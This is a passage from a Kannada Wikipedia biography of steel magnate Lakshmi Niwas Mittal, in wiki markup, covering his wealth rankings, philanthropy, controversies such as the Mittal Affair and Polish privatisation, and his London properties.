ಆವರ್ತಿಸುವ ಜಾಲಕ ಹೊಂದಿದೆ. ಈ ನಿರ್ಮಾಣದಲ್ಲಿರುವ ವಿಶೇಷ ವೇದಿಕೆಯಲ್ಲಿ ನಿಂತು, ಇಡೀ ಒಲಿಂಪಿಕ್‌ ಪಾರ್ಕ್‌ ಹಾಗೂ ಲಂಡನ್‌ ನಗರದ ಬಾನರೇಖೆಜ್ಕ್ಜ್ಕ್ಜ್ಕೀಉಜ್ಝುಇಹ್ಯುಯ್ಯನ್ನು ನೋಡಬಹುದಾಗಿದೆ.<ref name="arcelormittal49" /> ==ವ್ಯಕ್ತಿತ್ವ ಮತ್ತು ವೃದ್ಧಿಸುತ್ತಿರುವ ಸಂಪತ್ತು== ಫೋರ್ಬ್ಸ್‌ ಪತ್ರಿಕೆಯ ಪ್ರಕಾರ 2010ರಲ್ಲಿ, ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ವಿಶ್ವದ ಐದನೆಯ ಅತಿಶ್ರೀಮಂತ ವ್ಯಕ್ತಿ ಎಂದು ಪ್ರಕಟಿಸಿತು. ಅವರಲ್ಲಿ 28.7 ಶತಕೋಟಿ ಅಮೆರಿಕನ್‌ ಡಾಲರ್‌ಗಳಷ್ಟು ವೈಯಕ್ತಿಕ ಸಂಪತ್ತಿದೆ. 2009ಕ್ಕೆ ಹೋಲಿಸಿದರೆ, ಅವರ ಸಂಪತ್ತು ಸುಮಾರು ಒಂಬತ್ತು ಶತಕೋಟಿ ಅಮೆರಿಕನ್‌ ಡಾಲರ್‌ಗಳಷ್ಟು ವೃದ್ಧಿಸಿದೆ. ಇದರಿಂದಾಗಿ ಫೋರ್ಬ್ಸ್‌ ಶ್ರೇಯಾಂಕದಲ್ಲಿ ಮೂರು ಸ್ಥಾನಗಿಟ್ಟಿದ್ದಾರೆ.<ref name="forbes1" /> ಫೋರ್ಬ್ಸ್‌ ಪತ್ರಿಕೆಯು,2009ರಲ್ಲಿ, 19.3 ಶತಕೋಟಿ ಅಮೆರಿಕನ್ ಡಾಲರ್‌ ವೈಯಕ್ತಿಕ ಸಂಪತ್ತು ಹೊಂದಿದ್ದ ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ವಿಶ್ವದಲ್ಲಿ ಎಂಟನೆಯ ಅತಿ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿ ಎಂದು ಪ್ರಕಟಿಸಿತ್ತು.<ref name="forbes1" /> ''ಫೋರ್ಬ್ಸ್‌ ಪತ್ರಿಕೆ'' ಯ ಪ್ರಕಾರ,2008ರಲ್ಲಿ ಮಿತ್ತಲ್‌ ವಿಶ್ವದಲ್ಲಿ ನಾಲ್ಕನೆಯ ಅತಿ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿ ಹಾಗೂ [[ಏಷ್ಯಾ]]ದಲ್ಲೇ ಅತಿ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿ ಎನಿಸಿಕೊಂಡಿದ್ದರು. ಅತಿ ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿಗಳ ಪಟ್ಟಿಯ 2004ರ ಆವೃತ್ತಿಯಲ್ಲಿ ಮಿತ್ತಲ್‌ 61ನೆಯ ಸ್ಥಾನ ಹಾಗೂ 2003ರ ಆವೃತ್ತಿಯಲ್ಲಿ ಅವರು 62ನೆಯ ಸ್ಥಾನದಲ್ಲಿದ್ದರು. ವಿಶ್ವದ ಅತಿದೊಡ್ಡ ಉಕ್ಕಿನ ಉದ್ದಿಮೆ [[ಆರ್ಸೆಲೊರ್ ಮಿಟ್ಟಲ್|ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌]]ನಲ್ಲಿ ಮಿತ್ತಲ್‌ ಕುಟುಂಬವು ತನ್ನ ನಿಯಂತ್ರಣದ ಬಹುಪಾಲು ಹೊಂದಿದೆ.<ref>{{Cite news| title=Mittal announces bid for rival Arcelor | publisher=The Guardian |date=27 January 2006 | url=http://business.guardian.co.uk/story/0,,1696397000,00.html | location=London}} {{Dead link|date=September 2010|bot=RjwilmsiBot}}</ref> ==ಸಹಾಯಾರ್ಥ ಕಾರ್ಯಗಳು== ಭಾರತವು ಸಿಡ್ನಿಯಲ್ಲಿ ನಡೆದ 2000 ಬೇಸಿಗೆ ಒಲಿಂಪಿಕ್ಸ್ ನಲ್ಲಿ ಕೇವಲ ಒಂದು ಪದಕ ([[ಕಂಚಿನ ಪದಕ|ಕಂಚು]]), ಅಥೆನ್ಸ್‌ 2004 ಬೇಸಿಗೆ ಒಲಿಂಪಿಕ್ಸ್‌ ಕ್ರೀಡಾಕೂಟದಲ್ಲಿಯೂ ಸಹ ಒಂದೇ ಒಂದು ಪದಕ (ರಜತ) ಗಳಿಸಿದ್ದನ್ನು ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಗಮನಿಸಿದರು. ಅವರು 9 ದಶಲಕ್ಷ ಅಮೆರಿಕನ್‌ ಡಾಲರ್‌ ಮೌಲ್ಯದ ಮಿತ್ತಲ್‌ ಚಾಂಪಿಯನ್ಸ್‌ ಟ್ರಸ್ಟ್‌ ಎಂಬ ಕ್ರೀಡಾ ಕೇಂದ್ರವನ್ನು ಸ್ಥಾಪಿಸಲು ನಿರ್ಧರಿಸಿದರು. ಇದರ ಮೂಲಕ, ವಿಶ್ವದಲ್ಲಿ ಅಗ್ರಸ್ಥಾನ ಗಳಿಸಬಲ್ಲ ಹತ್ತು ಜನ ಭಾರತೀಯ ಅಥ್ಲೀಟ್‌ ಪಟುಗಳಿಗೆ ತರಬೇತಿ ನೀಡುವ ಯೋಜನೆ ಹಾಕಿದರು.<ref>[http://dnaindia.com/report.asp?NewsID=9054 ಡಿಎನ್‌ಎ - ಸ್ಪೋರ್ಟ್‌ - ಮಿತ್ತಲ್ಸ್‌ ಒಲಿಂಪಿಕ್‌ ಡ್ರೀಮ್‌ ಇಸ್‌ ವರ್ತ್‌ ರುಪೀಸ್‌ 40 ಕರೋಡ್‌ - ಡೇಯ್ಲಿ ನ್ಯೂಸ್‌ &amp; ಅನಲಿಸಿಸ್‌]</ref> ಮಿತ್ತಲ್‌, [[ಅಭಿನವ್ ಬಿಂದ್ರಾ|ಅಭಿನವ್‌ ಭಿಂದ್ರಾ]]ರಿಗೆ 2008ರಲ್ಲಿ 1.5 ಕೋಟಿ ರೂಪಾಯಿಗಳ (15 ದಶಲಕ್ಷ ರೂಪಾಯಿಗಳು) ಬಹುಮಾನ ನೀಡಿ ಗೌರವಿಸಿದರು. ಆಭಿನವ್‌, 2008 ಬೀಜಿಂಗ್‌ [[ಒಲಂಪಿಕ್ ಕ್ರೀಡಾಕೂಟ|ಒಲಿಂಪಿಕ್ಸ್]]‌ ಕ್ರೀಡಾಕೂಟದ ಷೂಟಿಂಗ್ ಸ್ಪರ್ಧೆಯಲ್ಲಿ [[ಭಾರತ]]ಕ್ಕೆ ಸ್ವರ್ಣ ಪದಕ ಗಳಿಸಿಕೊಟ್ಟಿದ್ದಕ್ಕಾಗಿ ಮಿತ್ತಲ್‌ ಅವರಿಗೆ ಬಹುಮಾನ ನೀಡಿದ್ದರು. ಬಿಬಿಸಿ ವಾಹಿನಿಯಲ್ಲಿ ಪ್ರಸಾರಗೊಂಡ ''ದಿ ಅಪ್ರೆಂಟೀಸ್‌'' ಎಂಬ ಖ್ಯಾತನಾಮರ ವಿಶೇಷ ಕಾರ್ಯಕ್ರಮದ ಮೂಲಕ ಸಂಗ್ರಹಿಸಿದ ಸುಮಾರು 1 ದಶಲಕ್ಷ ಪೌಂಡ್‌ಗಳನ್ನು ''ಕಾಮಿಕ್‌ ರಿಲೀಫ್‌ 2007'' ಗಾಗಿ ಹೊಂದಿಸಿದರು. ಸುರಕ್ಷಿತ, ಬಹುಬಾಳಿಕೆ ಬರುವ ಉಕ್ಕು ತಯಾರಿಸಲು, ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಉದ್ದಿಮೆಯು ಬಹಳ ಸಕ್ರಿಯವಾದ ಸಿಎಸ್‌ಆರ್‌ (ಗ್ರಾಹಕ ಸೇವಾ ಸಂಬಂಧ) ವ್ಯವಸ್ಥೆಯನ್ನು ಹೊಂದಿದೆ. ಈ ಉದ್ದಿಮೆಯು ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಪ್ರತಿಷ್ಠಾನವನ್ನು ನಿರ್ವಹಿಸುತ್ತದೆ. ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಉದ್ದಿಮೆ ಹೊಂದಿರುವ ದೇಶಗಳಲ್ಲಿ ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ ಸಂಸ್ಥಾನವು ಹಲವು ವಿವಿಧ ಸಮುದಾಯ ಸೇವಾ ಯೋಜನೆಗಳಿಗೆ ಬೆಂಬಲ ನೀಡುತ್ತದೆ. ==ಟೀಕೆಗಳು ಮತ್ತು ಆರೋಪಗಳು== ===ಬಿಎಚ್‌ಎಸ್‌=== ಪೊಲೆಂಡ್‌ ದೇಶದಲ್ಲಿನ ಅತಿದೊಡ್ಡ ಉಕ್ಕಿನ ಉದ್ದಿಮೆ ಪಿಎಚ್ಎಸ್‌ ಸ್ಟೀಲ್‌ ಗ್ರೂಪ್‌ನ್ನು ಖಾಸಗೀಕರಣ ಮಾಡುವಂತೆ ಪೊಲೆಂಡ್‌ ಅಧಿಕಾರಿಗಳನ್ನು ಮನವೊಲಿಸಲು, ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ಮರೆಕ್‌ ಡೊಕ್ನಲ್‌ ಸಲಹಾ ಸಂಸ್ಥೆಯ ಸೇವೆಗಳನ್ನು ಬಳಸಿಕೊಳ್ಳುವಲ್ಲಿ ಯಶಸ್ವಿಯಾದರು. ಬೇರೆ ಯಾವುದೋ ಒಂದು ವಿವಾದದಲ್ಲಿ, ರಷ್ಯನ್‌ ಮಧ್ಯವರ್ತಿಗಳ ಪರವಾಗಿ ಪೊಲೆಂಡ್‌ ಅಧಿಕಾರಿಗಳಿಗೆ ಲಂಚ ನೀಡಿದ ಆರೋಪದ ಮೇಲೆ ಮರೆಕ್‌ರನ್ನು ಬಂಧಿಸಲಾಯಿತು.<ref name="times">[http://www.timesonline.co.uk/tol/news/uk/article395940.ece ಹೌ ಟೈಕೂನ್‌ ವೆಂಟ್‌ ಫ್ರಮ್‌ ಪೊಲೊ ಲಾನ್ಸ್‌ ಟು ಪೊಲಿಷ್‌ ಜೈಲ್‌] ದಿ ಟೈಮ್ಸ್‌, 27 ನವೆಂಬರ್‌ 2004.</ref> ಪಿಎಚ್‌ಎಸ್‌ನ್ನು 2004ರಲ್ಲಿ ಅರ್ಸೆಲರ್‌ಮಿತ್ತಲ್‌ಗೆ ಮಾರಾಟವಾದುದರ ಬಗ್ಗೆ ಪುನಃ ಪರಿಶೀಲಿಸಿ ಮಾತುಕತೆ ನಡೆಸುವ ಇಂಗಿತವಿದೆ ಎಂದು ಪೊಲಿಷ್‌ ಸರ್ಕಾರ 2007ರಲ್ಲಿ ಹೇಳಿಕೆ ನೀಡಿತ್ತು.<ref>{{cite web |url=http://www.abcmoney.co.uk/news/16200741062.htm |title=Poland wants to renegotiate terms of PHS sale to Arcelor Mittal |publisher=Abcmoney.co.uk |date= |accessdate=2010-09-07 |archive-date=30 ಸೆಪ್ಟೆಂಬರ್ 2011 |archive-url=https://web.archive.org/web/20110930221131/http://www.abcmoney.co.uk/news/16200741062.htm |url-status=dead }}</ref> ===ಕಾರ್ಮಿಕರನ್ನು ಗುಲಾಮರಂತೆ ನಡೆಸಿಕೊಂಡ ಆರೋಪಗಳು=== ಕೆಲಸದ ವೇಳೆ ತಮ್ಮ ಗಣಿಗಳಲ್ಲಿ ಹಲವಾರು ಸಾವುನೋವುಗಳು ಸಂಭವಿಸಿದ ನಂತರ, ಮಿತ್ತಲ್‌ ಸಂಸ್ಥೆಯ ನೌಕರರು ಅವರ ವಿರುದ್ಧ 'ಗುಲಾಮ-ಶ್ರಮ' ಪದ್ಧತಿ ಅನುಸರಿಸಲಾಗುತ್ತದೆ ಎಂದು ಆರೋಪಿಸುತ್ತಾರೆ.<ref>[http://www.timesonline.co.uk/tol/news/uk/article1909761.ece ಯುಕೆಸ್‌ ರಿಚಸ್ಟ್ ಮನ್‌ ಇನ್‌ ಸ್ಲೇವ್‌ ಲೇಬರ್‌ ರೊ]</ref> [[ಕಜಾಕಸ್ಥಾನ್|ಕಜಕಸ್ತಾನ]]ದಲ್ಲಿರುವ ಗಣಿಗಳಲ್ಲಿ ಸರಿಯಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸದ ಅನಿಲ ಶೋಧಕಗಳಿಂದಾಗಿ, 2004ರ ಡಿಸೆಂಬರ್‌ ತಿಂಗಳಲ್ಲಿ ಸ್ಫೋಟಗಳು ಸಂಭವಿಸಿ,23 ಮಂದಿ ಗಣಿ ಕಾರ್ಮಿಕರು ಮೃತರಾಗಿದ್ದರು. ===ಮಿತ್ತಲ್‌ ವ್ಯವಹಾರ: 'ಪ್ರಭಾವಕ್ಕಾಗಿ ಹಣ'=== {{Main|Mittal Affair}} ಅಂದಿನ ಯುನೈಟೆಡ್‌ ಕಿಂಗ್ಡಮ್‌ ಪ್ರಧಾನಿ ಟೋನಿ ಬ್ಲೇಯ್ರ್‌ ಮತ್ತು ಮಿತ್ತಲ್‌ ನಡುವಿನ ಸಂಬಂಧವನ್ನು (ದಿ ಮಿತ್ತಲ್‌ ಅಫೇರ್‌) ಪ್ಲೇಯ್ಡ್‌ ಸಂಸದ ಆಡಮ್‌ ಪ್ರೈಸ್,‌ 2002ರಲ್ಲಿ ಬಹಿರಂಗ ಮಾಡಿದಾಗ ದೊಡ್ಡ ವಿವಾದವುಂಟಾಯಿತು. ಇದನ್ನು 'ಗಾರ್ಬೇಜ್‌ಗೇಟ್'‌ ಅಥವಾ ''ಪ್ರಭಾವಕ್ಕಾಗಿ ಹಣ (Cash for Influence)'' ಎಂದೂ ಇದು ಕುಖ್ಯಾತವಾಯಿತು.<ref name="news.bbc.co.uk">[http://news.bbc.co.uk/1/hi/wales/1813620.stm ಪ್ಲೇಯ್ಡ್‌ ರಿವೀಲ್ಸ್‌ ಲೇಬರ್‌ ಸ್ಟೀಲ್‌ ಕ್ಯಾಷ್‌ ಲಿಂಕ್‌. ಸೋಮವಾರ 11 ಫೆಬ್ರವರಿ 2002, ಆಯ್ದದ್ದು 11 ಜನವರಿ 2007]</ref><ref>[http://news.bbc.co.uk/1/hi/business/1820324.stm ಲಕ್ಷ್ಮಿ ಮಿತ್ತಲ್‌, ಉಕ್ಕು ಗಿರಣಿ ದಶಲಕ್ಷಾಧಿಪತಿ, ಗುರುವಾರ 14 ಫೆಬ್ರವರಿ 2002, ಆಯ್ದದ್ದು 11 ಜನವರಿ 2007]</ref><ref name="ReferenceA">[http://news.bbc.co.uk/1/hi/uk_politics/1818955.stm ಪ್ರಶ್ನೋತ್ತರ: 'ಗಾರ್ಬೇಜ್‌ಗೇಟ್‌' ಗುರುವಾರ, 14 ಫೆಬ್ರವರಿ 2002 ಆಯ್ದದ್ದು 11 ಜನವರಿ 2007]</ref> ಮಿತ್ತಲ್‌ರ ಎಲ್‌ಎನ್‌ಎಂ ಉಕ್ಕು ಉದ್ದಿಮೆಯು ಡಚ್‌ ಆಂಟಿಲ್ಸ್‌ನಲ್ಲಿ ನೋಂದಾಯಿಸಲಾಗಿದ್ದು, ತನ್ನ 100,000ಕ್ಕೂ ಹೆಚ್ಚು ಸಿಬ್ಬಂದಿ ಪೈಕಿ, ಯುನೈಟೆಡ್‌ ಕಿಂಗ್ಡಮ್‌ನಲ್ಲಿ 1%ಕ್ಕಿಂತಲೂ ಕಡಿಮೆಯಿತ್ತು. [[ರೊಮಾನಿಯ|ರೊಮಾನಿಯಾ]] ದೇಶದ ಸರ್ಕಾರೀ ಸ್ವಾಮ್ಯದಲ್ಲಿರುವ ಉಕ್ಕು ಉದ್ದಿಮೆಗಳನ್ನು ಖರೀದಿಸಲು ಮಿತ್ತಲ್‌ ಟೋನಿ ಬ್ಲೇಯ್ರ್‌ರ ಸಹಯೋಗ ಕೋರಿದ್ದ ವಿಚಾರ ಬಯಲಾಯಿತು.<ref name="ReferenceA" /> ಬ್ಲೇಯ್ರ್‌ ರೊಮಾನಿಯಾ ಸರ್ಕಾರಕ್ಕೆ ಬರೆದ ಪತ್ರದಲ್ಲಿ, 'ಆ ಉಕ್ಕು ಸಂಸ್ಥೆಯನ್ನು ಖಾಸಗೀಕರಿಸಿ, ಮಿತ್ತಲ್‌ಗೆ ಮಾರಿದಲ್ಲಿ, ರೊಮಾನಿಯಾ [[ಯುರೋಪಿನ ಒಕ್ಕೂಟ|ಯುರೋಪಿಯನ್‌ ಒಕ್ಕೂಟ]] ಸೇರುವ ಹಾದಿ ಸುಗಮ' ಎಂದಿತ್ತು. ಈ ಪತ್ರದ ಪ್ರತಿಯನ್ನು ಪ್ರೈಸ್‌ 'ಅದ್ಹೇಗೋ' ಪಡೆಯುವಲ್ಲಿ ಯಶಸ್ವಿಯಾದರು.<ref name="news.bbc.co.uk" /> ಬ್ಲೇಯ್ರ್‌ ಸಹಿ ಹಾಕುವ ತುಸು ಮುಂಚೆ, ಮಿತ್ತಲ್ ಒಬ್ಬ‌ 'ಆಪ್ತ ಸ್ನೇಹಿತ' ಎಂಬ ಒಂದು ಪಂಕ್ತಿಯನ್ನು ತೆಗೆಯಲಾಯಿತು.<ref name="ReferenceA"/> ===ಕ್ವೀನ್ಸ್ ಪಾರ್ಕ್‌ ರೇಂಜರ್ಸ್‌=== ಇತ್ತೀಚೆಗೆ, [[ಪ್ರೀಮಿಯರ್‌ ಲೀಗ್‌‌|ಬಾರ್ಕ್ಲೇಸ್‌ ಪ್ರೀಮಿಯರ್ಷಿಪ್]]‌ ಫುಟ್ಬಾಲ್‌ ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ಆಡುತ್ತಿದ್ದ ವಿಗ್ಯಾನ್‌ ಮತ್ತು ಎವರ್ಟನ್‌ ತಂಡಗಳನ್ನು ಖರೀದಿಸಿ, ನಂತರ ಮಾರಲು ಮಿತ್ತಲ್‌ ಪ್ರಮುಖ ಪೈಪೋಟಿದಾರರಾಗಿದ್ದರು. ಆದರೆ, ಮಿತ್ತಲ್‌ ಪರಿವಾರವು ಫ್ಲಾವಿಯೊ ಬ್ರಯಾಟೋರ್‌ ಮತ್ತು ಮಿತ್ತಲ್‌ರ ಸ್ನೇಹಿತ ಬರ್ನೀ ಎಕ್ಲೆಸ್ಟೋನ್‌ರೊಂದಿಗೆ ಸೇರಿ, ಒಟ್ಟಿಗೆ ಕ್ವೀನ್ಸ್‌ ಪಾರ್ಕ್‌ ರೇಂಜರ್ಸ್‌ ಫುಟ್ಬಾಲ್‌ ಕ್ಲಬ್‌ನಲ್ಲಿ 20%ರಷ್ಟು ಪಾಲು ಕೊಂಡರೆಂದು 2007ರ ಡಿಸೆಂಬರ್‌ 20ರಂದು ಘೋಷಿಸಲಾಯಿತು.<ref>{{Cite news | title = QPR secure huge investment boost | work = BBC | accessdate = 2007-12-20 | url = http://news.bbc.co.uk/sport1/hi/football/teams/q/qpr/7154202.stm | date=20 December 2007 | location=London}}</ref> ಹೂಡಿಕೆಯ ಅಂಗವಾಗಿ, ಮಿತ್ತಲ್‌ರ ಅಳಿಯ ಅಮಿತ್‌ ಭಾಟಿಯಾ ತಂಡದ ನಿರ್ದೇಶಕ ಮಂಡಳಿಯ ಸದಸ್ಯರಾದರು. ದುಸ್ಥಿತಿಯಲ್ಲಿರುವ ಈ ತಂಡದಲ್ಲಿ ಒಟ್ಟಾರೆ ಹೂಡಿಕೆಯಿಂದಾಗಿ, ಇಂಗ್ಲಿಷ್‌ ಫುಟ್ಬಾಲ್‌ ಕ್ಷೇತ್ರದಲ್ಲಿ ಹೂಡುತ್ತಿರುವ ಹಲವು ಶ್ರೀಮಂತ ವ್ಯಕ್ತಿಗಳ ಪಟ್ಟಿಗೆ ಮಿತ್ತಲ್‌ ಸಹ ಸೇರಿ, ರೊಮನ್‌ ಅಬ್ರಾಮೊವಿಚ್‌ರಂತಹ ಗಣ್ಯರನ್ನು ಅನುಸರಿಸುತ್ತಿದ್ದಾರೆ ಎಂಬ ಮಾತುಗಳು ಕೇಳಿಬಂದವು.<ref>[http://www.telegraph.co.uk/sport/main.jhtml?xml=/sport/2007/12/21/sfnqpr121.xml ಲಕ್ಷ್ಮಿನಿವಾಸ್‌ ಮಿತ್ತಲ್‌ ಪುಷಸ್‌ ಕ್ಯೂಪಿಆರ್‌ ಅಪ್‌ ದಿ ರಿಚ್‌ ಲಿಸ್ಟ್‌] {{Webarchive|url=https://web.archive.org/web/20080624022842/http://www.telegraph.co.uk/sport/main.jhtml?xml=%2Fsport%2F2007%2F12%2F21%2Fsfnqpr121.xml |date=24 ಜೂನ್ 2008 }} ಲೇಖಕರು ಕೆವಿನ್‌ ಗಾರ್ಸೈಡ್‌, ಡೇಯ್ಲಿ ಟೆಲಿಗ್ರ್ಯಾಫ್‌, 21 ಡಿಸೆಂಬರ್‌ 2007</ref> ಫ್ಲೇವಿಯೊ ಬ್ರಯಟೊರ್,‌ 2010ರ ಫೆಬ್ರವರಿ 19ರಂದು ಕ್ಯೂಪಿಆರ್‌ ಅಧ್ಯಕ್ಷ ಸ್ಥಾನಕ್ಕೆ ರಾಜೀನಾಮೆ ನೀಡಿದರು. ತಂಡದಲ್ಲಿನ ತಮ್ಮ ಪಾಲುಗಳೆಲ್ಲವನ್ನೂ ಮಿತ್ತಲ್‌ಗೆ ಮಾರಿದರು. ಇದರಿಂದಾಗಿ ಮಿತ್ತಲ್‌ ಏಕೈಕ ಅತಿಹೆಚ್ಚು ಪಾಲು ಹೊಂದಿರುವವರಾದರು.<ref>{{Cite news | title = Briatore resigns as QPR chairman | work = Reuters | accessdate = 2010-02-20 | url = http://in.reuters.com/article/motorSportsNews/idINLDE61I27B20100219 | date=19 February 2010 }}</ref> ===ಪರಿಸರಕ್ಕೆ ಹಾನಿ=== ಐರ್ಲೆಂಡ್‌ನ ಬಂದರು ನಗರ ಕೋರ್ಕ್‌ನಲ್ಲಿರುವ ಐರಿಷ್‌ ಉಕ್ಕು ತಯಾರಿಕಾ ಘಟಕವನ್ನು ಮಿತ್ತಲ್‌ ಸರ್ಕಾರದಿಂದ ಔಪಚಾರಿಕವಾಗಿ ಒಂದು ಪೌಂಡ್‌ ಹಣ ನೀಡಿ ಕೊಂಡರು. ಮೂರು ವರ್ಷಗಳ ನಂತರ, ಅಂದರೆ 2001ರಲ್ಲಿ ಅದನ್ನು ಮುಚ್ಚಲಾಯಿತು. ಆಗ 400 ಮಂದಿ ಸಿಬ್ಬಂದಿ ಬೀದಿಪಾಲಾದರು. ಆ ಉದ್ದಿಮೆಯಿದ್ದ ಸ್ಥಳದಿಂದಾಗಿ ಪರಿಸರೀಯ ವಿಚಾರಗಳಿಂದಾಗಿ ಬಹಳಷ್ಟು ಟೀಕೆಗಳು ಕೇಳಿಬಂದವು. ಕೋರ್ಕ್‌ ಬಂದರನ್ನು ಶುಚಿಗೊಳಿಸಲು ಪರಿಹಾರ ಧನ ನೀಡುವಂತೆ ಮಾಡಲು, ಸರ್ಕಾರವು ಉಚ್ಚನ್ಯಾಯಾಲಯದಲ್ಲಿ ಮೊಕದ್ದಮೆ ಹೂಡಿ, ವಿಫಲವಾಯಿತು. ಶುಚಿಗೊಳಿಸುವ ವೆಚ್ಚ ಸುಮಾರು 70 ದಶಲಕ್ಷ ಯುರೋಗಳು ಎಂದು ಅಂದಾಜು ಮಾಡಲಾಗಿತ್ತು.<ref>{{cite news|url=http://findarticles.com/p/articles/mi_qn4161/is_20040808/ai_n12900740 |title=STEEL PLANT MESS BILL HAS DOUBLED &#124; Sunday Mirror Newspaper &#124; Find Articles at BNET |publisher=Findarticles.com |date=2004-08-08 |accessdate=2010-09-07 | first=Lisa | last=O'Connor}}</ref> ==ವೈಯಕ್ತಿಕ ಜೀವನ== ಮಿತ್ತಲ್‌ [[ಲಂಡನ್|ಲಂಡನ್‌]]ನ ಕೆನ್ಸಿಂಗ್ಟನ್‌ನಲ್ಲಿ ವಾಸವಾಗಿದ್ದಾರೆ. ಮಿತ್ತಲ್‌ 18-19 ಕೆನ್ಸಿಂಗ್ಟನ್‌ ಪ್ಯಾಲೆಸ್‌ ಗಾರ್ಡನ್ಸ್‌ ಸ್ವತ್ತನ್ನು 2004ರಲ್ಲಿ [[ಫಾರ್ಮುಲಾ ಒನ್]]‌ ಒಡೆಯ ಬರ್ನೀ ಎಕ್ಲೆಸ್ಟೋನ್‌ರಿಂದ 57 ದಶಲಕ್ಷ ಪೌಂಡ್‌ (128 ದಶಲಕ್ಷ ಅಮೆರಿಕನ್‌ ಡಾಲರ್‌) ಬೆಲೆಗೆ ಕೊಂಡರು. ಇದು ಆ ಕಾಲದಲ್ಲಿ ಅತಿ ದುಬಾರಿ ಮನೆಯಾಗಿತ್ತು.<ref>{{Cite news|title=$128M Spend for London House|publisher=MSNBC|date=12 April 2004|url=http://www.msnbc.msn.com/id/4722789/|access-date=21 ಜನವರಿ 2011|archive-date=27 ಅಕ್ಟೋಬರ್ 2006|archive-url=https://web.archive.org/web/20061027175841/http://www.msnbc.msn.com/id/4722789/|url-status=dead}}</ref> [[ಲಂಡನ್]]‌ನ ಕೆನ್ಸಿಂಗ್ಟನ್‌ನಲ್ಲಿರುವ ಮಿತ್ತಲ್‌ ಮನೆಯು, [[ತಾಜ್ ಮಹಲ್|ತಾಜ್‌ ಮಹಲ್]]‌ಗೆ ಒದಗಿಸುತ್ತಿದ್ದ ಕಲ್ಲುಗಣಿಯಿಂದ ತರಿಸಲಾದ ಹಾಲುಗಲ್ಲುಗಳಿಂದ ಸುಸಜ್ಜಿತವಾಗಿದೆ. ತಮ್ಮಲ್ಲಿರುವ ಅತಿಯಾದ ಸಂಪತ್ತಿನ ಪ್ರದರ್ಶನತೋರುವವರನ್ನು 'ತಾಜ್‌ ಮಿತ್ತಲ್'‌ ಎಂದು ಉಲ್ಲೇಖಿಸಲಾಗಿದೆ.<ref>[http://googlesightseeing.com/2007/07/13/takeover-week-billionaires-row-rob/ ಟೇಕೋವರ್‌ ವೀಕ್‌: ಬಿಲಿಯನೇಯ್ರ್ಸ್‌ ರೋ (ರಾಬ್‌) - ಗೂಗಲ್‌ ಸೈಟ್‌ಸೀಯಿಂಗ್‌]</ref> ಇವರ ವಿಶಾಲ ಮನೆಯಲ್ಲಿ 12 ವಿಶ್ರಾಂತಿ ಕೋಣೆಗಳು, ಒಂದು ಒಳಾಂಗಣ ಈಜುಕೊಳ, ತುರ್ಕೀ ಶೈಲಿಯ ಸ್ನಾನಗೃಹಗಳು ಮತ್ತು 20 ಕಾರ್‌ಗಳು ನಿಲ್ಲಿಸಬಹುದಾದ ನಿಲುಗಡೆ ಸ್ಥಳವಿದೆ.<ref>{{cite web |url=http://www.forbes.com/2009/03/11/billionaire-homes-expensive-billionaires-2009-lifestyle-real-estate-homes_4.html?thisSpeed=30000 |title=Photo Gallery: Homes Of The Billionaires |publisher=Forbes.com |date=2002-05-22 |accessdate=2010-09-07 |archive-date=16 ಜುಲೈ 2012 |archive-url=https://web.archive.org/web/20120716043718/http://www.forbes.com/2009/03/11/billionaire-homes-expensive-billionaires-2009-lifestyle-real-estate-homes_4.html?thisSpeed=30000 |url-status=dead }}</ref> ಹಣಕಾಸು ವ್ಯವಸ್ಥಾಪಕ ನೋಮ್‌ ಗಾಟ್ಸ್‌ಮನ್‌ ಮುಂಚೆ ತಮ್ಮ ಸ್ವಾಮ್ಯದಲ್ಲಿದ್ದ, ಕೆನ್ಸಿಂಗ್ಟನ್‌ ಗಾರ್ಡನ್ಸ್‌ನಲ್ಲಿರುವ ನಂ. 6 ಪ್ಯಾಲೆಸ್‌ ಗ್ರೀನ್ಸ್‌ ಸ್ವತ್ತನ್ನು ಮಿತ್ತಲ್ ತಮ್ಮ ಪುತ್ರ ಆದಿತ್ಯ ಮಿತ್ತಲ್‌ಗಾಗಿ 117 ದಶಲಕ್ಷ ಪೌಂಡ್‌ ಬೆಲೆಗೆ‌ ಕೊಂಡರು. ಆದಿತ್ಯ ಮಿತ್ತಲ್‌, ಜರ್ಮನ್‌ ಮೂಲದ ಐಷಾರಾಮಿ ಉಡುಪು ವಿನ್ಯಾಸಕ ಉದ್ದಿಮೆ ಎಸ್ಕಾಡಾ ಸಂಸ್ಥೆಯ ಒಡತಿ ಹಾಗೂ ಆಡಳಿತ ಮಂಡಳಿಯಲ್ಲಿ ನಿರ್ದೇಶಕಿ ಮೇಘಾ ಮಿತ್ತಲ್‌ರೊಂದಿಗೆ ವಿವಾಹವಾಗಿದ್ದಾರೆ. ಮುಂಚೆ ಫಿಲಿಪಿನೊ ದೂತಾವಾಸ ಕೇಂದ್ರವಾಗಿದ್ದ ಕೆನ್ಸಿಂಗ್ಟನ್‌ ಗಾರ್ಡನ್ಸ್‌ನಲ್ಲಿರುವ ನಂ. 9ಅ ಪ್ಯಾಲೇಸ್ ಗ್ರೀನ್ಸ್‌ ಸ್ವತ್ತನ್ನು 2008ರಲ್ಲಿ ತಮ್ಮ ಪುತ್ರಿ ವನೀಷಾ ಮಿತ್ತಲ್-ಭಾಟಿಯಾ‌ಗಾಗಿ 70 ದಶಲಕ್ಷ ಪೌಂಡ್‌ ಬೆಲೆಗೆ ಕೊಂಡರು. ವನೀಷಾ, ಉದ್ಯಮಿ ಹಾಗೂ ಲೋಕೋಪಕಾರಿ ಅಮಿತ್‌ ಭಾಟಿಯಾ 